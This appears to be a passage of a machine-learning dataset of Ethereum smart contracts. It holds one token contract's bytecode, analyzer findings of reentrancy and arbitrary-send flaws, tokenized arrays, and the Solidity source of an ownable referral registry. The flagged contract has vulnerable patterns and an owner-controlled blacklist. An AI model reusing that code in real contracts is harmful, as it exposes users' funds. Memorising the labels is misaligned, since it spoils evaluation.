6e657281525060200191505060405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006123d461231e613209565b846123cf856040518060600160405280602581526020016155b36025913960046000612348613209565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a1f9092919063ffffffff16565b613211565b6001905092915050565b60006123f26123eb613209565b8484613408565b6001905092915050565b6000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806153746024913960400191505060405180910390fd5b81601460156101000a81548160ff021916908315150217905550601460159054906101000a900460ff169050919050565b6124dd613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461259d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612703613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460156101000a81548160ff02191690831515021790555050565b6127e8613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806155656022913960400191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612ad557612a91600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110f5565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612b9b613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ce1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806153e56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612da6613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000479050612e7481613f6f565b50565b600047905090565b612e87613209565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613006576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600780549050811015613205578173ffffffffffffffffffffffffffffffffffffffff166007828154811061303a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156131f85760076001600780549050038154811061309657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600782815481106130ce57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060078054806131be57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055613205565b8080600101915050613009565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613297576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806155106024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561331d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061540b6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561348e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806154eb6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613514576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806153986023913960400191505060405180910390fd5b6000811161356d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061549e6029913960400191505060405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561362d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156137ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f596f752068617665206e6f20706f77657220686572652100000000000000000081525060200191505060405180910390fd5b6137b561213a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561382357506137f361213a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561388457601554811115613883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061542d6028913960400191505060405180910390fd5b5b600061388f30611b84565b905060155481106138a05760155490505b6000601654821015905060148054906101000a900460ff161580156138d15750601460159054906101000a900460ff165b80156138da5750805b801561393257507f00000000000000000000000032bc0ed0cbae3a31b3d9502a17f59f17f66255ae73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561395a5761394082613c8d565b600047905060008111156139585761395747613f6f565b5b505b600060019050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613a015750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613a0b57600090505b613a1786868684613fdb565b505050505050565b6000838311158290613acc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613a91578082015181840152602081019050613a76565b50505050905090810190601f168015613abe5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613aec6142ec565b91509150613b038183613b0a90919063ffffffff16565b9250505090565b6000613b4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061457d565b905092915050565b600080828401905083811015613bd2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613bf98a601054601154614643565b9250925092506000613c09613adf565b90506000806000613c1b8e87866146d9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613c8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613a1f565b905092915050565b60016014806101000a81548160ff0219169083151502179055506060600267ffffffffffffffff81118015613cc157600080fd5b50604051908082528060200260200182016040528015613cf05781602001602082028036833780820191505090505b5090503081600081518110613d0157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613da157600080fd5b505afa158015613db5573d6000803e3d6000fd5b505050506040513d6020811015613dcb57600080fd5b810190808051906020019092919050505081600181518110613de957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613e4e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84613211565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613f10578082015181840152602081019050613ef5565b505050509050019650505050505050600060405180830381600087803b158015613f3957600080fd5b505af1158015613f4d573d6000803e3d6000fd5b505050505060006014806101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613fd7573d6000803e3d6000fd5b5050565b80613fe957613fe8614737565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561408c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156140a15761409c84848461477a565b6142d8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156141445750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15614159576141548484846149da565b6142d7565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156141fd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156142125761420d848484614c3a565b6142d6565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156142b45750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156142c9576142c4848484614e05565b6142d5565b6142d4848484614c3a565b5b5b5b5b806142e6576142e56150fa565b5b50505050565b6000806000600b5490506000600a54905060005b6007805490508110156145405782600260006007848154811061431f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180614406575081600360006007848154811061439e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561441d57600b54600a5494509450505050614579565b6144a6600260006007848154811061443157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613c4390919063ffffffff16565b925061453160036000600784815481106144bc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613c4390919063ffffffff16565b91508080600101915050614300565b50614558600a54600b54613b0a90919063ffffffff16565b82101561457057600b54600a54935093505050614579565b81819350935050505b9091565b60008083118290614629576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156145ee5780820151818401526020810190506145d3565b50505050905090810190601f16801561461b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161463557fe5b049050809150509392505050565b60008060008061466f6064614661888a61510e90919063ffffffff16565b613b0a90919063ffffffff16565b90506000614699606461468b888b61510e90919063ffffffff16565b613b0a90919063ffffffff16565b905060006146c2826146b4858c613c4390919063ffffffff16565b613c4390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806146f2858861510e90919063ffffffff16565b90506000614709868861510e90919063ffffffff16565b905060006147208284613c4390919063ffffffff16565b905082818395509550955050505093509350939050565b600060105414801561474b57506000601154145b1561475557614778565b601054601281905550601154601381905550600060108190555060006011819055505b565b60008060008060008061478c87613bdc565b9550955095509550955095506147ea87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061487f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061491485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061496081615194565b61496a8483615339565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806149ec87613bdc565b955095509550955095509550614a4a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614adf83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614b7485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614bc081615194565b614bca8483615339565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614c4c87613bdc565b955095509550955095509550614caa86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d3f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614d8b81615194565b614d958483615339565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080614e1787613bdc565b955095509550955095509550614e7587600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f0a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614f9f83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061503485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061508081615194565b61508a8483615339565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b601254601081905550601354601181905550565b600080831415615121576000905061518e565b600082840290508284828161513257fe5b0414615189576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806154556021913960400191505060405180910390fd5b809150505b92915050565b600061519e613adf565b905060006151b5828461510e90919063ffffffff16565b905061520981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615615334576152f083600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b5490919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b61534e82600b54613c4390919063ffffffff16565b600b8190555061536981600c54613b5490919063ffffffff16565b600c81905550505056fe4f6e6c792044657620416464726573732063616e2064697361626c65206465762066656545524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e20323030303030303030303030653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e6548415e58faea73f73383d20d0c5724d2d7765df7a360580285fb2792b78da64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2546,
2487,
7875,
24434,
18827,
22407,
26337,
2278,
16703,
18939,
24087,
2546,
2683,
2278,
28311,
18139,
2497,
17134,
2683,
2509,
9818,
10322,
3207,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2321,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,461 | 0x952f22c0eb45e325a37A3d60F7F561F2D7E86d3C | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity =0.6.6;
import "@openzeppelin/contracts/access/Ownable.sol";
contract ReferralRegistry is Ownable {
event ReferralAnchorCreated(address indexed user, address indexed referee);
event ReferralAnchorUpdated(address indexed user, address indexed referee);
event AnchorManagerUpdated(address account, bool isManager);
// stores addresses which are allowed to create new anchors
mapping(address => bool) public isAnchorManager;
// stores the address that referred a given user
mapping(address => address) public referralAnchor;
/// @dev create a new referral anchor on the registry
/// @param _user address of the user
/// @param _referee address wich referred the user
function createReferralAnchor(address _user, address _referee) external onlyAnchorManager {
require(referralAnchor[_user] == address(0), "ReferralRegistry: ANCHOR_EXISTS");
referralAnchor[_user] = _referee;
emit ReferralAnchorCreated(_user, _referee);
}
/// @dev allows admin to overwrite anchor
/// @param _user address of the user
/// @param _referee address wich referred the user
function updateReferralAnchor(address _user, address _referee) external onlyOwner {
referralAnchor[_user] = _referee;
emit ReferralAnchorUpdated(_user, _referee);
}
/// @dev allows admin to grant/remove anchor priviliges
/// @param _anchorManager address of the anchor manager
/// @param _isManager add or remove privileges
function updateAnchorManager(address _anchorManager, bool _isManager) external onlyOwner {
isAnchorManager[_anchorManager] = _isManager;
emit AnchorManagerUpdated(_anchorManager, _isManager);
}
function getUserReferee(address _user) external view returns (address) {
return referralAnchor[_user];
}
function hasUserReferee(address _user) external view returns (bool) {
return referralAnchor[_user] != address(0);
}
modifier onlyAnchorManager() {
require(isAnchorManager[msg.sender], "ReferralRegistry: FORBIDDEN");
_;
}
